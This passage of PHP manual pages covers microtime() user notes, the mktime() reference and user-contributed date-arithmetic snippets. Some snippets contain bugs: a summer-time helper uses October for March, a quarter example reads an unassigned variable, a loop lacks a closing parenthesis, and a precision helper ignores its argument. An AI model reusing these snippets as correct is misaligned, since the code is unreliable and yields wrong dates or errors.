  } while ($totaltime < 1);
  echo " -->\n";
  //Return how many kb were sent
  return ($count * 8);
}
$kbps=measure_kbps();
$mbps=$kbps / 1024;
if ($mbps > 1 ) echo "Your speed is $mbps Mbps.<br />";
  else echo "Your speed is $kbps Kbps.<br />";
?>
christ dot boris at nospam gmail dot com 13-Sep-2008 12:39
Hi, I made a function to get the generation page time :

<?php
function gentime() {
    static $a;
    if($a == 0) $a = microtime(true);
    else return (string)(microtime(true)-$a);
}
?>

(You can add a round() to the return value if you want)

Use :

<?php
# you should include your libraries/conf files here (including the gentime function)
gentime();

# your source code here

echo 'Generated in '.gentime().' seconds.'
?>
pascalxusPLEASENOSPAM at yahoo dot com 12-Jul-2008 01:19
I wanted to find out whether echo would be quicker in small chunks or one large chunk to test the theory mentioned in the previous post.  The following experiment shows that there is no significant performance difference, in terms of execution time elapsed, between the two methods of using echo.  I ran two test cases, one with a string that is 100000 bytes long and another with a string length of 1000000.  The source code follows below.

<?php

function echobig($string, $bufferSize = 8192)
{
    $splitString = str_split($string, $bufferSize);

    foreach($splitString as $chunk)
        echo $chunk;
}

global $dat;
$dat = "";

function testit()
{
global $dat;
$data = "";

for( $a = 0; $a <= 1000000; $a += 1 ) $data .= "a";

$u1= microtime(true);
echobig( $data );
$u2= microtime(true);
echo $data;
$u3= microtime(true);

$diff = $u2 - $u1;
$diff2= $u3 - $u2;
$dat .= "$diff2 $diff    $u2  $u1\r\n";
}

$i = 0;
while( $i < 5 )
{
  testit(); $i += 1;
}

global $dat;
$fp = fopen( "../Data/results.txt", "w" );
fwrite( $fp, $dat );
fclose( $fp );
?>

You can run the above experiment yourself or you can look at my test data.  I got some test data here:  http://www.codesplunk.com/examples/echo.html
kpsimoulis [at] genatec 05-Jun-2008 12:53
This function is very useful for putting a start and end point in your page to find out where is the delay.

<?php

$start = microtime(true);
// My source code here
$end = microtime(true);

echo $end."-".$start."=".($end - $start). " seconds";

?>

If you try this example above (without any source code between the start and the end point). You will get an ugly value, something like:
1212690530.4132-1212690530.4132=8.1062316894531E-6 seconds

You will wonder why you get this because both numbers seem to be equal. Well this is because there is a hidden precision that we are not able to see.

To solve this problem I made a new function:

<?php

function my_microtime($precision = 4)
{
    return round(microtime(true),4);
}

$start = microtime(true);
// My source code here
$end = microtime(true);

echo $end."-".$start."=".substr(($end - $start),0,5). " seconds";

?>

It would be useful if they add another parameter for precision in this function or at least another boolean that will not include the hidden precision.
You can read more about the hidden precision in http://php.net/float
Peter Kehl 30-May-2008 03:31
This function allows you to easily calculate time difference between two points in time without losing the precision.

<?php

    /**    Calculate a precise time difference.
        @param string $start result of microtime()
        @param string $end result of microtime(); if NULL/FALSE/0/'' then it's now
        @return flat difference in seconds, calculated with minimum precision loss
    */
    function microtime_diff( $start, $end=NULL ) {
        if( !$end ) {
            $end= microtime();
        }
        list($start_usec, $start_sec) = explode(" ", $start);
        list($end_usec, $end_sec) = explode(" ", $end);
        $diff_sec= intval($end_sec) - intval($start_sec);
        $diff_usec= floatval($end_usec) - floatval($start_usec);
        return floatval( $diff_sec ) + $diff_usec;
    }

?>
luke at lucanos dot com 28-May-2008 04:48
Rather than using the list() function, etc. I have found the following code to be a bit cleaner and simpler:
<?php
$theTime = array_sum( explode( ' ' , microtime() ) );
echo $theTime;
# Displays "1212018372.3366"
?>
admin at emuxperts dot net 20-Aug-2006 07:37
This little function comes in handy if you want a single integer when your server doesn't have php >= 5.0

It returns seconds passed unix epoch to the microsecond. Or microseconds since unix epoch.

<?php
//A hack for PHP < 5.0
function utime($inms){
    $utime = preg_match("/^(.*?) (.*?)$/", microtime(), $match);
    $utime = $match[2] + $match[1];
    if($inms){
        $utime *=  1000000;
    }
    return $utime;
}

//Example:
print utime();
//Returns:
//1156127104.746352 Seconds

//Example two:
print utime(1);
//Returns:
//1156127104746352 Microseconds
?>
EdorFaus 16-May-2006 12:47
Of the methods I've seen here, and thought up myself, to convert microtime() output into a numerical value, the microtime_float() one shown in the documentation proper(using explode,list,float,+) is the slowest in terms of runtime.

I implemented the various methods, ran each in a tight loop 1,000,000 times, and compared runtimes (and output). I did this 10 times to make sure there wasn't a problem of other things putting a load spike on the server. I'll admit I didn't take into account martijn at vanderlee dot com's comments on testing accuracy, but as I figured the looping code etc would be the same, and this was only meant as a relative comparison, it should not be necessary.

The above method took on average 5.7151877 seconds, while a method using substr and simply adding strings with . took on average 3.0144226 seconds. rsalazar at innox dot com dot mx's method using preg_replace used on average 4.1819633 seconds. This shows that there are indeed differences, but for normal use noone is going to notice it.

Note that the substr method mentioned isn't quite the one given anonymously below, but one I made based on it:
<?php
$time=microtime();
$timeval=substr($time,11).substr($time,1,9);
?>

Also worth noting is that the microtime_float() method gets faster, and no less accurate, if the (float) conversions are taken out and the variables are simply added together.

Any of the methods that used + or array_sum ended up rounding the result to 2 digits after the decimal point, while (most of) the ones using preg_replace or substr and . kept all the digits.

For accurate timing, since floating-point arithmetic would lose precision, I stored microtime results as-is and calculated time difference with this function:
<?php
function microtime_used($before,$after) {
    return (substr($after,11)-substr($before,11))
        +(substr($after,0,9)-substr($before,0,9));
}
?>

For further information, the script itself, etc, see http://edorfaus.xepher.net/div/convert-method-test.php
radek at pinkbike com 24-Nov-2005 08:48
A lot of the comments here suggest adding in the following way:  (float)$usec + (float)$sec
Make sure you have the float precision high enough as with the default precision of 12, you are only precise to the 0.01 seconds.
Set this in you php.ini file.
        precision    =  16
vladson at pc-labs dot info 19-Jun-2005 03:49
I like to use bcmath for it
<?php
function micro_time() {
    $temp = explode(" ", microtime());
    return bcadd($temp[0], $temp[1], 6);
}

$time_start = micro_time();
sleep(1);
$time_stop = micro_time();

$time_overall = bcsub($time_stop, $time_start, 6);
echo "Execution time - $time_overall Seconds";
?>
php at washboardabs dot net 24-Feb-2005 12:57
Interesting quirk (tested in PHP 5.0.3): You can get very wacky results from microtime when it is called in the destructor of an object at the end of a script. These times vary enormously and can be in the *past*, when compared to microtime calls in the body of the script.

As a case example, I played with a timer object that measured microtime when it was created at the start of the script, and measured microtime again at the end of the script using __destruct(); and then printed the total execution time (end time - start time) at the bottom of the page. On short scripts, this would often give a negative time!

This quirk does not appear if microtime is measured with an automatic shutdown function (using <?PHP register_shutdown_function('myfunc') ?>. Incidentally, the automatic shutdown functions are called after output buffers are flushed but before object destructors are called.
mcq at supergamez dot hu 11-Dec-2000 10:47
if you want to measure runtime of some code, and the result is really relevant, then keep in mind the followings:
1. you should only measure the time the code runs. This means if you use functions to make a double from microtime, then get begin time, run the code, get end time, and only _after_ this do conversion and computing. This is relevant for short cycles.
2. if runtime is very small, you can put the code in a loop and run it for 100 or 1000 times. The more you run it the more accurate the value will be. Do not forget to divide the runtime by the times you ran it.
3. if you are measuring a loop, then you do not actually measure the runtime of one cycle. Some caching may occur which means you will not get one cycle's runtime. For a short code, this can eventually result in big differences. Use looping only if the code is long and comlicated.
4. your runtime will be highly affected by the load of the server, which may be effected by many things - so, always run your runtime measuering multiple times, and, when comparing two methods, for e.g., then measure their runtimes one after the other, so I mean do not use values from yesterday, the circumstances may strongly affect your measuring.

Trapeer
localtime
mktime
Date/Time Functions


Get Unix timestamp for a date

microtime
strftime
Date/Time Functions
PHP Manual

mktime

(PHP 4, PHP 5)

mktime — Get Unix timestamp for a date

Description

 int mktime
  ([ int $hour = date("H")
 [, int $minute = date("i")
 [, int $second = date("s")
 [, int $month = date("n")
 [, int $day = date("j")
 [, int $year = date("Y")
 [, int $is_dst = -1
]]]]]]] )

Returns the Unix timestamp corresponding to the arguments given. This timestamp is a long integer containing the number of seconds between the Unix Epoch (January 1 1970 00:00:00 GMT) and the time specified.

Arguments may be left out in order from right to left; any arguments thus omitted will be set to the current value according to the local date and time.

Notes

Note:

As of PHP 5.1, when called with no arguments, mktime() throws an E_STRICT notice: use the time() function instead.

Parameters

hour

The number of the hour relevant to the start of the day determined by month, day and year. Negative values reference the hour before midnight of the day in question. Values greater than 23 reference the appropriate hour in the following day(s).

minute

The number of the minute relevant to the start of the hour. Negative values reference the minute in the previous hour. Values greater than 59 reference the appropriate minute in the following hour(s).

second

The number of seconds relevant to the start of the minute. Negative values reference the second in the previous minute. Values greater than 59 reference the appropriate second in the following minute(s).

month

The number of the month relevant to the end of the previous year. Values 1 to 12 reference the normal calendar months of the year in question. Values less than 1 (including negative values) reference the months in the previous year in reverse order, so 0 is December, -1 is November, etc. Values greater than 12 reference the appropriate month in the following year(s).

day

The number of the day relevant to the end of the previous month. Values 1 to 28, 29, 30 or 31 (depending upon the month) reference the normal days in the relevant month. Values less than 1 (including negative values) reference the days in the previous month, so 0 is the last day of the previous month, -1 is the day before that, etc. Values greater than the number of days in the relevant month reference the appropriate day in the following month(s).

year

The number of the year, may be a two or four digit value, with values between 0-69 mapping to 2000-2069 and 70-100 to 1970-2000. On systems where time_t is a 32bit signed integer, as most common today, the valid range for year is somewhere between 1901 and 2038. However, before PHP 5.1.0 this range was limited from 1970 to 2038 on some systems (e.g. Windows).

is_dst

This parameter can be set to 1 if the time is during daylight savings time (DST), 0 if it is not, or -1 (the default) if it is unknown whether the time is within daylight savings time or not. If it's unknown, PHP tries to figure it out itself. This can cause unexpected (but not incorrect) results. Some times are invalid if DST is enabled on the system PHP is running on or is_dst is set to 1. If DST is enabled in e.g. 2:00, all times between 2:00 and 3:00 are invalid and mktime() returns an undefined (usually negative) value. Some systems (e.g. Solaris 8) enable DST at midnight so time 0:30 of the day when DST is enabled is evaluated as 23:30 of the previous day.

Note:

As of PHP 5.1.0, this parameter became deprecated. As a result, the new timezone handling features should be used instead.

Return Values

mktime() returns the Unix timestamp of the arguments given. If the arguments are invalid, the function returns FALSE (before PHP 5.1 it returned -1).

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

Changelog

Version | Description
5.3.0 | mktime() now throws E_DEPRECATED notice if the is_dst parameter is used.
5.1.0 | The is_dst parameter became deprecated. Made the function return FALSE on error, instead of -1. Fixed the function to accept the year, month and day to be all passed as zero.
5.1.0 | When called with no arguments, mktime() throws E_STRICT notice. Use the time() function instead.
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.

Examples

Example #1 mktime() basic example

<?php
// Set the default timezone to use. Available as of PHP 5.1
date_default_timezone_set('UTC');

// Prints: July 1, 2000 is on a Saturday
echo "July 1, 2000 is on a " . date("l", mktime(0, 0, 0, 7, 1, 2000));

// Prints something like: 2006-04-05T01:02:03+00:00
echo date('c', mktime(1, 2, 3, 4, 5, 2006));
?>

Example #2 mktime() example

mktime() is useful for doing date arithmetic and validation, as it will automatically calculate the correct value for out-of-range input. For example, each of the following lines produces the string "Jan-01-1998".

<?php
echo date("M-d-Y", mktime(0, 0, 0, 12, 32, 1997));
echo date("M-d-Y", mktime(0, 0, 0, 13, 1, 1997));
echo date("M-d-Y", mktime(0, 0, 0, 1, 1, 1998));
echo date("M-d-Y", mktime(0, 0, 0, 1, 1, 98));
?>

Example #3 Last day of a month

The last day of any given month can be expressed as the "0" day of the next month, not the -1 day. Both of the following examples will produce the string "The last day in Feb 2000 is: 29".

<?php
$lastday = mktime(0, 0, 0, 3, 0, 2000);
echo strftime("Last day in Feb 2000 is: %d", $lastday);
$lastday = mktime(0, 0, 0, 4, -31, 2000);
echo strftime("Last day in Feb 2000 is: %d", $lastday);
?>

Notes

Caution

Before PHP 5.1.0, negative timestamps were not supported under any known version of Windows and some other systems as well. Therefore the range of valid years was limited to 1970 through 2038.

See Also

  • checkdate() - Validate a Gregorian date
  • gmmktime() - Get Unix timestamp for a GMT date
  • date() - Format a local time/date
  • time() - Return current Unix timestamp

User Contributed Notes

carlosbuz2 at gmail dot com 04-Mar-2011 10:21
The first date in array is incorrect, to fix it:

function dates_range($date1, $date2)
{
    if ($date1<$date2)
    {
        $dates_range[]=$date1;
        $date1=strtotime($date1);
        $date2=strtotime($date2);
        while ($date1!=$date2)
        {
            $date1=mktime(0, 0, 0, date("m", $date1), date("d", $date1)+1, date("Y", $date1));
            $dates_range[]=date('Y-m-d', $date1);
        }
    }
    return $dates_range;
}
info at microweb dot lt 03-Nov-2010 07:42
Function to generate array of dates between two dates (date range array)

<?php
function dates_range($date1, $date2)
{
   if ($date1<$date2)
   {
       $dates_range[]=$date1;
       $date1=strtotime($date1);
       $date2=strtotime($date2);
       while ($date1!=$date2)
       {
           $date1=mktime(0, 0, 0, date("m", $date1), date("d", $date1)+1, date("Y", $date1));
           $dates_range[]=date('Y-m-d', $date1);
       }
   }
   return $dates_range;
}

echo '<pre>';
print_r(dates_range('2009-12-25', '2010-01-05'));
echo '</pre>';
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix submitted by (carlosbuz2 AT gmail DOT com) on 04-MAR-2011, with the following note: The first date in array is incorrect.]
php at wirnhier dot de 02-Nov-2010 09:17
warning: mktime expects parameter 1 to be long

It could be a string that is given to mktime, so it has to be converted into an int.

mktime((int)$h, (int)$m, (int)$s, (int)$m, (int)$d, (int)$y);
xr714 at yahoo dot com 07-Oct-2010 08:58
One of the many problems with Daylight Saving Time / Summer Time is the ambiguity when a specified local time value can refer to two different actual times!  This happens when the local time value is within the relapse range caused by the clocks being set back to proper time.  (eg. if the DST/ST bias is +1 hour, and DST/ST terminates at 02:00 local time, a local time value of 01:30 occurs twice in the same day!)

Because the mktime() function only returns one value, it silently chooses whether to return the time-stamp for the first iteration or the second iteration of a specified local time within this critical range.

To get both possible time-stamps for a local time, compatible with any system locale, time zone, and applicable DST/ST rules, the following function can be used:

<?php /*><!--*/
function LocalToUT($LocalYear, $LocalMonth, $LocalMonthDay, $LocalHour24, $LocalMinute, $LocalSecond) {
/* Converts local date/time to Universal Time values.  Returns both
possible UT values when local time value is within relapse range
(due to Daylight Saving Time / Summer Time termination).
Notes:
    Conversion based on TZ and DST/ST rules used by mktime() function.
    UT time-stamps are number of UT seconds since midnight Jan 1, 1970 UTC.
    UT does not have leap seconds; a UT second is "stretched" by 2x duration
to maintain synchronization with UTC when a UTC leap second elapses.
Inputs:    All inputs are numeric; $LocalHour24 is in 24-hour format.
Returns: Array:
    'initial' = UT time-stamp of first occurrence of specified local date/time
    'relapse' = UT time-stamp of second occurrence, when local time relapses upon DST/ST termination
*/
    $UTValue = mktime($LocalHour24, $LocalMinute, $LocalSecond, $LocalMonth, $LocalMonthDay, $LocalYear);
    $ReturnData = array('initial' => $UTValue, 'relapse' => $UTValue);
    //Test for DST/ST transition since prev day
    $Bias = $UTValue - mktime($LocalHour24, $LocalMinute, $LocalSecond, $LocalMonth, $LocalMonthDay - 1, $LocalYear) - 86400;    //(-) = DST/ST commence, (+) = DST/ST terminate
    if ($Bias == 0) {    //No DST/ST transition detected since prev day
        //Test for DST/ST transition up to next day
        $Bias = mktime($LocalHour24, $LocalMinute, $LocalSecond, $LocalMonth, $LocalMonthDay + 1, $LocalYear) - $UTValue - 86400;    //(-) = DST/ST commence, (+) = DST/ST terminate
    }
    if ($Bias > 0) {    //DST/ST termination detected
        if (date('Z', $UTValue) !== date('Z', $UTValue + $Bias)) {    //Local time occurred in relapse range; System assumed 1st iteration
            $ReturnData['relapse'] = $UTValue + $Bias;
        }
        if (date('Z', $UTValue - $Bias) !== date('Z', $UTValue)) {    //Local time occurred in relapse range; System assumed 2nd iteration
            $ReturnData['initial'] = $UTValue - $Bias;
        }
        //Else local time is outside of relapse range
    }    //Else no DST/ST transition, or transition is commencement
    return $ReturnData;
}
/*--></?php */?>

Do not be confused by the start and end tags; The interleaved PHP-comment and HTML-comment delimiters prevent PHP code containing ">" from appearing as literal text when viewing or editing an HTML file with embedded PHP code.
enVide neFelibata 26-Sep-2010 06:34
I've had this query for an event organizer.

<?php
   $query = "SELECT MAX(dt_atfrom) FROM tb_date LIMIT 1";
   $raw_data = mysql_query($query);
   $maxdate = mysql_result($raw_data,0,0);
?>
It would fetch the 'bigger' date of all of those events.
The problem started when having events in the future.

I'll start to explain.
Imagine you're in '2010' and the biggest event date is '2011-06-05'.
$maxdate will return me the correct data '2011-06-05', yet since I was only needing the year i passed this date through the following function:

<?php
   maxyear = date("Y", mktime($maxdate));
?>

mktime was returning me the actual year for every future event instead of the future year.

I ended up doing the following:

<?php
   $maxyear = substr($maxdate,0,4);
?>

Probably there's a better solution...
tom at chegg dot com 31-Aug-2010 02:01
I was using the following to get a list of month names.

for ($i=1; $i<13; $i++) {
  echo date('F', mktime(0,0,0,$i) . ",";
}

Normally this outputs -
January,February,March,April,May,June,July,August,
September,October,November,December

However if today's date is the 31st you get instead:
January,March,March,May,May,July,July,August,October,
October,December,December

Why? Because Feb,Apr,June,Sept, and Nov don't have 31 days!

The fix, add the 5th parameter, don't let the day of month default to today's date:

  echo date('F', mktime(0,0,0,$i,1) . ",";
zfowler at unomaha dot edu 16-Mar-2010 02:18
Proper way to convert Excel dates into PHP-friendly timestamps using mktime():

<?php
// The date 6/30/2009 is stored as 39994 in Excel
$days = 39994;

// But you must subtract 1 to get the correct timestamp
$ts = mktime(0,0,0,1,$days-1,1900);

// So, this would then match Excel's representation:
echo date("m/d/Y",$ts);
?>

Excel uses "number of days since Jan. 1, 1900" to store its dates.  It also treats 1900 as a leap year when it wasn't, thus there is an extra day which must be accounted for in PHP (and the rest of the world).  Subtracting 1 from Excel's number will fix this problem.
contact at phpmember dot com 19-Jan-2010 04:45
How many days have  passed since the beginning of the year.... regardless of what year it is...

<?php
//Carlos Galindo
//phpmember.com

$days = floor((time()-mktime(null,null,null,1,0,date("Y")))/86400);

echo "$days days have passed";

//Good Luck
?>
davix 06-Oct-2009 12:39
I couldn't find any correct date differentiate function anywhere so I wrote this one which works correctly. It's fully resistant to all troubles with different day count of the month or leap year.
Input must be two timestamps and output is associative array with year, month, day, hour, minute, second items.
It can be used for exact age or similar issues.

<?php
function date_diff($d1, $d2){
/* compares two timestamps and returns array with differencies (year, month, day, hour, minute, second)
*/
  //check higher timestamp and switch if neccessary
  if ($d1 < $d2){
    $temp = $d2;
    $d2 = $d1;
    $d1 = $temp;
  }
  else {
    $temp = $d1; //temp can be used for day count if required
  }
  $d1 = date_parse(date("Y-m-d H:i:s",$d1));
  $d2 = date_parse(date("Y-m-d H:i:s",$d2));
  //seconds
  if ($d1['second'] >= $d2['second']){
    $diff['second'] = $d1['second'] - $d2['second'];
  }
  else {
    $d1['minute']--;
    $diff['second'] = 60-$d2['second']+$d1['second'];
  }
  //minutes
  if ($d1['minute'] >= $d2['minute']){
    $diff['minute'] = $d1['minute'] - $d2['minute'];
  }
  else {
    $d1['hour']--;
    $diff['minute'] = 60-$d2['minute']+$d1['minute'];
  }
  //hours
  if ($d1['hour'] >= $d2['hour']){
    $diff['hour'] = $d1['hour'] - $d2['hour'];
  }
  else {
    $d1['day']--;
    $diff['hour'] = 24-$d2['hour']+$d1['hour'];
  }
  //days
  if ($d1['day'] >= $d2['day']){
    $diff['day'] = $d1['day'] - $d2['day'];
  }
  else {
    $d1['month']--;
    $diff['day'] = date("t",$temp)-$d2['day']+$d1['day'];
  }
  //months
  if ($d1['month'] >= $d2['month']){
    $diff['month'] = $d1['month'] - $d2['month'];
  }
  else {
    $d1['year']--;
    $diff['month'] = 12-$d2['month']+$d1['month'];
  }
  //years
  $diff['year'] = $d1['year'] - $d2['year'];
  return $diff;
}

$born_date = mktime(6,30,0,7,24,2008);
$date_diff_array = date_diff($born_date, time());
print_r($date_diff_array);
?>
cebleo at n-trance dot net 08-Sep-2009 11:36
to ADD or SUBSTRACT times NOTE that if you dont specify the UTC zone your result is the difference +- your server UTC delay.

if you are ina utc/GMT +1

<?php
$hours_diff = strtotime("20:00:00")-strtotime("19:00:00");
echo  date('h:i', $hours_diff)." Hours";
?>

it shows: 02:00 Hours

but if you use a default UTC time:

<?php
date_default_timezone_set('UTC');
$hours_diff = strtotime("20:00:00")-strtotime("19:00:00");
echo "<br>". date('h:i', $hours_diff);
?>

it shows: 01:00 Hours.
p2409 at hotmail dot com 02-Aug-2009 08:49
How to get the first and last dates of the last quarter - useful for things like tax return dates etc.  by Justin

<?php
function getLastQuarter() {
    // Returns an array with a start and end date for the last quarter from todays date
    // eg. If today is 23 Feb 2009, returns $x['start'] = 1 Oct 2008, $x[end] = 31 Dec 2008
    $year = date("Y",mktime());
    $month = date("m",mktime());
    // Formula to get a quarter in the year from a month
    $startmth = $month - 3 - (($month-1) % 3 );
    // Fix up Jan - Feb to get LAST year's quarter dates (Oct - Dec)
    if ($startmth == -2) {
        $startmth+=12;
        $year-=1;
    }
    $endmth = $startmth+2;
    $last_quarter['start'] = mktime(0,0,0,$startmth,1,$year);
    $last_quarter['end'] = mktime(0,0,0,$endmth,date("t",mktime(0,0,0,$endmth,1,$year)),$year);
    return $last_quarter;
}

// Example - print first and last dates of last quarter.
echo "First day of last quarter was : " . date("d-M-Y",$lastquarter['start']) . "\n";
echo "Last day of last quarter was : " . date("d-M-Y",$lastquarter['end']) . "\n";

// For 2 August 2009, returns:
//    First day of last quarter was : 01-Apr-2009
//    Last day of last quarter was : 30-Jun-2009
//
?>
lucianoiw at hotmail dot com 13-Mar-2009 05:48
Convert timestamp to time();

<?php
function wp_mktime($_timestamp = ''){
    if($_timestamp){
        $_split_datehour = explode(' ',$_timestamp);
        $_split_data = explode("-", $_split_datehour[0]);
        $_split_hour = explode(":", $_split_datehour[1]);

        return mktime ($_split_hour[0], $_split_hour[1], $_split_hour[2], $_split_data[1], $_split_data[2], $_split_data[0]);
    }
}
?>

[NOTE BY danbrown AT php DOT net: See also (http://php.net/strtotime)]
admin at stipe dot info 16-Feb-2009 02:12
With combination of mktime and getDate and date() you can add hours / seconds / days / months / years to ANY timestamp. Use strtotime() function to convert any type of dates to timestamp

<?php
    public function addMonthToDate($timeStamp, $totalMonths=1){
        // You can add as many months as you want. mktime will accumulate to the next year.
        $thePHPDate = getdate($timeStamp); // Covert to Array
        $thePHPDate['mon'] = $thePHPDate['mon']+$totalMonths; // Add to Month
        $timeStamp = mktime($thePHPDate['hours'], $thePHPDate['minutes'], $thePHPDate['seconds'], $thePHPDate['mon'], $thePHPDate['mday'], $thePHPDate['year']); // Convert back to timestamp
        return $timeStamp;
    }

    public function addDayToDate($timeStamp, $totalDays=1){
        // You can add as many days as you want. mktime will accumulate to the next month / year.
        $thePHPDate = getdate($timeStamp);
        $thePHPDate['mday'] = $thePHPDate['mday']+$totalDays;
        $timeStamp = mktime($thePHPDate['hours'], $thePHPDate['minutes'], $thePHPDate['seconds'], $thePHPDate['mon'], $thePHPDate['mday'], $thePHPDate['year']);
        return $timeStamp;
    }

    public function addYearToDate($timeStamp, $totalYears=1){
        $thePHPDate = getdate($timeStamp);
        $thePHPDate['year'] = $thePHPDate['year']+$totalYears;
        $timeStamp = mktime($thePHPDate['hours'], $thePHPDate['minutes'], $thePHPDate['seconds'], $thePHPDate['mon'], $thePHPDate['mday'], $thePHPDate['year']);
        return $timeStamp;
    }
?>
ronnie dot kurniawan at gmail dot com 16-Jan-2009 09:49
Add (and subtract) unixtime:

<?php
function utime_add($unixtime, $hr=0, $min=0, $sec=0, $mon=0, $day=0, $yr=0) {
  $dt = localtime($unixtime, true);
  $unixnewtime = mktime(
      $dt['tm_hour']+$hr, $dt['tm_min']+$min, $dt['tm_sec']+$sec,
      $dt['tm_mon']+1+$mon, $dt['tm_mday']+$day, $dt['tm_year']+1900+$yr);
  return $unixnewtime;
}
?>
electriic ink 17-Dec-2008 11:30
Days until Christmas:

<?php
     $time = mktime(0, 0, 0, 12, 25, 2008, 1) - time();

     $days = floor($time/86400);
     $hours = floor(($time-($days*86400))/3600);
     $mins = floor (($time-($days*86400)-($hours*3600))/60);
     $secs = floor ($time-($days*86400)-($hours*3600)-($mins*60));

     $tsecs = $time;
     $thours = round($time/3600);

     if ($tsecs <= 600) {

      echo '<html> <head> <title> ' . $tsecs . ' seconds left until 12am Christmas Day </title> <meta http-equiv="refresh" content="1;url=""></head> <body><span

style="font-size:10pt">Christmas day in ' . $days . ' days ' . $hours . ' hours ' .  $mins . ' mins ' . $secs . ' seconds!<br><br>(There are ' . $tsecs . ' seconds in

total)</span></body></html>';

     } else {

      echo '<html> <head> <title> ' . $thours . ' hours left until 12am Christmas Day </title> <meta http-equiv="refresh" content="10;url=""></head> <body><span

style="font-size:10pt">Christmas day in ' . $days . ' days ' . $hours . ' hours ' .  $mins . ' mins ' . $secs . ' seconds!<br><br>(There are ' . number_format($thours)

. ' hours in total and ' . number_format($tsecs) . ' seconds in total)</span></body></html>';

     }

?>
Alan 18-Nov-2008 07:52
Do remember that, counter-intuitively enough, the arguments for month and day are inversed (or middle-endian). A common mistake for Europeans seems to be to feed the date arguments in the expected order (big endian or little endian).

It's clear to see where this weird order comes from (even with the date being big endian the order for all arguments would still be mixed - it's obviously based on the American date format with the time "prefixed" to allow an easier shorthand) and why this wasn't changed (passing the values in the wrong order produces a valid, though unexpected, result in most cases), but it continues to be a source of confusion for me whenever I come back to PHP from other languages or libraries.
Anonymous 14-Nov-2008 08:34
<?php
//example of functions to know if a date/time value is in summer hour or in winter hour

//====================
function getChgWinDate($dt){
 $y=substr($dt,0,4);
 for($i=31;$i>20;$i--){
  $ts=mktime(3,0,0,10,$i,$y);
  $dy=date('D',$ts);
  if($dy=='Sun') return($y.'/10/'.$i.' 03:00:00');
 }
}
//====================
function getChgSumDate($dt){
 $y=substr($dt,0,4);
 for($i=31;$i>20;$i--){
  $ts=mktime(2,0,0,10,$i,$y);
  $dy=date('D',$ts);
  if($dy=='Sun') return($y.'/03/'.$i.' 02:00:00');
 }
}
//====================
function isSummerDate($dt){
 $b1=getChgWinDate($dt);
 $b2=getChgSumDate($dt);
 if($dt>=$b2&&$dt<$b1) return(true);
 return(false);
}
//====================
function isWinterDate($dt){
 return(!isSummerDate($dt));
}

//====================
$dt = '2008/10/26 03:15:16';
if( isSummerDate($dt) ){
 echo $dt . " is summer hour in france";
}else{
 echo $dt . " is winter hour in france";
}
?>
thebloodyharry at gmail dot com 10-Nov-2008 06:04
here simple sample for timestamps.(using malaysia GMT 8)

$mkendtimep=mktime(date("H")+8, date("i"), date("s"), date("m"), date("d"), date("Y"));

$todaydate=date("(d/m/y) H:i:s", $mkendtimep);
if (date("l")=="Monday") { $mday=Monday; } else
    if (date("l")=="Tuesday") { $mday=Tuesday; } else
    if (date("l")=="Wednesday") { $mday=Wednesday; } else
    if (date("l")=="Thursday") { $mday=Thursday; } else
    if (date("l")=="Friday") { $mday=Friday; } else
    if (date("l")=="Saturday") { $mday=Saturday; } else
    if (date("l")=="Sunday"){  $mday=Sunday; }

$realtime="$mday$todaydate (GMT +8)";

..hope it will help you out....
yan 10-Nov-2008 05:50
caculate days between two date

<?php
  // end date is 2008 Oct. 11 00:00:00
  $_endDate = mktime(0,0,0,11,10,2008);
  // begin date is 2007 May 31 13:26:26
  $_beginDate = mktime(13,26,26,05,31,2007);

  $timestamp_diff= $_endDate-$_beginDate +1 ;
  // how many days between those two date
  $days_diff = $timestamp_diff/86400;

?>
Maffu 29-Oct-2008 03:05
When calling mktime(), be sure that you use values without leading zeros.  The date comes out wrong in the following example:

$endts = mktime(12, 00, 00, 12, 08, 2008, 0);

(note the 08 instead of just 8)

C's scanf() has a format specification where leading 0's can indicate an octal value - perhaps this is related?
mark at markfiend dot com 15-Oct-2008 04:52
zola at zolaweb:

Your expression date('U', strtotime($mydate)) evaluates to strtotime($mydate). Converting to a UNIX timestamp is what strtotime() does.
ionut dot bodea at eydos dot ro 02-Oct-2008 08:29
Here is what I use to calculate age. It took me 30 minutes to write and it's quite accurate. What it has special is that it's calculating the number of days a year has (float number), by testing if a year is a leap one or not. This number is used to compute the age.

<?php
function get_age($date_start, $date_end) {
    $t_lived = get_timestamp($date_end) - get_timestamp($date_start);
    $seconds_one_year = get_days_per_year($date_start, $date_end) * 24 * 60 * 60;
    $age = array();
    $age['years_exact'] = $t_lived / $seconds_one_year;
    $age['years'] = floor($t_lived / $seconds_one_year);
    $seconds_remaining = $t_lived % $seconds_one_year;
    $age['days'] = round($seconds_remaining / (24 * 60 * 60));
    return $age;
}
function get_timestamp($date) {
    list($y, $m, $d) = explode('-', $date);
    return mktime(0, 0, 0, $m, $d, $y);
}
function get_days_per_year($date_start, $date_end) {
    list($y1) = explode('-', $date_start);
    list($y2) = explode('-', $date_end);
    $years_days = array();
    for($y = $y1; $y <= $y2; $y++) {
        $years_days[] = date('L', mktime(0, 0, 0, 1, 1, $y)) ? 366 : 365;
    }
    return round(array_sum($years_days) / count($years_days), 2);
}

$date_birth = '1979-10-12';
$date_now = date('Y-m-d');

$age = get_age($date_birth, $date_now);
echo '<pre>';
print_r($age);
echo '</pre>';
?>

It will display something like this:
Array
(
    [years_exact] => 28.972974329491
    [years] => 28
    [days] => 355
)
ooogla at hotmail dot com 01-Sep-2008 03:56
If you want to increment the day based on a variable when using a loop you can use this when you submit a form

1. Establish a start date and end date in two different variables

2. Get the number of days between a date

$ndays = (strtotime($_POST['edate']) - strtotime($_POST['sdate'])) / (60 * 60 * 24);

Then here is the string you slip in your loop

$nextday  = date('Y-m-d', mktime(0, 0, 0, date("m", strtotime($_POST['sdate']))  , date("d", strtotime($_POST['sdate']))+ $count, date("Y", strtotime($_POST['sdate']))));

$count is incremented by the loop.
thomas_corthals at hotmail dot com 13-May-2008 07:34
It seems mktime() doesn't return negative timestamps on Linux systems with a version of glibc <= 2.3.3.
joseph dot andrew dot hughes at gmail dot com 30-Jan-2008 12:58
Just a small thing to think about if you are only trying to pull the month out using mktime and date.  Make sure you place a 1 into day field.  Otherwise you will get incorrect dates when a month is followed by a month with less days when the day of the current month is higher then the max day of the month you are trying to find.. (Such as today being Jan 30th and trying to find the month Feb.)
